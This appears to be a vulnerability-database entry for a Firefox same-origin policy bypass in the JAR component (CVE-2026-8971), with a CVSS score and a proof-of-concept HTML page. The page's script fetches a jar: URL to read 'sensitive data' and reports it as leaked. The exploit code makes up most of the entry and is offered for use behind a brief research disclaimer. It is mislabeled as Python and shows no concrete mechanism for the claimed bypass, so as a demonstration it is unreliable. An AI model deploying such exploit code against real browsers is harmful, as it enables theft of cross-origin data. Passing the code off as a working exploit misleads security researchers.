Same-origin policy bypass in the Networking: JAR component. This vulnerability was fixed in Firefox 151.
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Mozilla Firefox < 151
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-8971 -->
<!-- This PoC demonstrates the SOP bypass via the JAR protocol -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CVE-2026-8971 PoC</title>
</head>
<body>
<h1>Firefox JAR SOP Bypass PoC</h1>
<script>
// Attempt to access a restricted resource using jar: protocol
// In a vulnerable version (Firefox < 151), this may bypass SOP checks
function exploit() {
var target = 'jar:http://example.com/exploit.jar!/sensitive_data.html';
fetch(target)
.then(response => {
if (response.ok) {
return response.text();
}
throw new Error('Network response was not ok.');
})
.then(data => {
// Display the exfiltrated data
document.body.innerHTML += '<pre>' + data + '</pre>';
console.log('[+] Data leaked successfully via SOP bypass.');
})
.catch(error => {
console.error('[-] Exploit failed:', error);
document.body.innerHTML += '<p>Exploit failed or patched.</p>';
});
}
// Trigger the exploit attempt
exploit();
</script>
</body>
</html>